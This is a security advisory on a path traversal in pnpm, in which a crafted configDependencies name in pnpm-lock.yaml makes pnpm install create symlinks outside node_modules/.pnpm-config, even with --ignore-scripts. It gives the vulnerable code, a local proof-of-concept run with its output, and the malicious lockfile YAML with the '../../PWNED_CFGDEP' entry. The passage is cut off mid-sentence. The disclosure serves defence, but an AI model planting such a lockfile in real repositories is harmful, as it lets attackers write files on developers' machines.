pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config
Summary
pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.
A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.
In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:
```text
expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
```
This works with --ignore-scripts, so it does not rely on lifecycle script execution.
Vulnerable behavior
The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.
The relevant pattern is:
```ts
const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node_modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}
```
If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.
Impact
A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.
This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.
The issue is especially relevant because:
- The malicious input is committed in
pnpm-lock.yaml. - The issue is triggered during
pnpm install. - It works with
--ignore-scripts. - It occurs in the config dependency installation path, before ordinary dependency installation.
- The user only needs to install a malicious or compromised repository.
Local proof of concept
The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.
Command used:
```bash
python3 ../pnpm_configdeps_path_traversal_poc.py \
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log
```
Observed output:
```text
[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED_CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/
```
pnpm output:
```text
Installing config dependencies...
Installed config dependencies: ../../[email protected], [email protected]
Already up to date
Done in 906ms using pnpm v11.5.1
```
The PoC then detected the escaped symlink:
```text
[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
```
Malicious lockfile structure
The malicious input is an env-lockfile configDependencies key containing traversal components:
```yaml
importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'
```
pnpm accepts the traversal-shaped name and reports it as installed:
```text
Installed config dependencies: ../../[email protected], [email protected]
```
Security boundary violation
The intended config dependency root was:
```text
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
```
But pnpm created:
```text
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
```
This demonstrates that a config dependency name from the lockfi
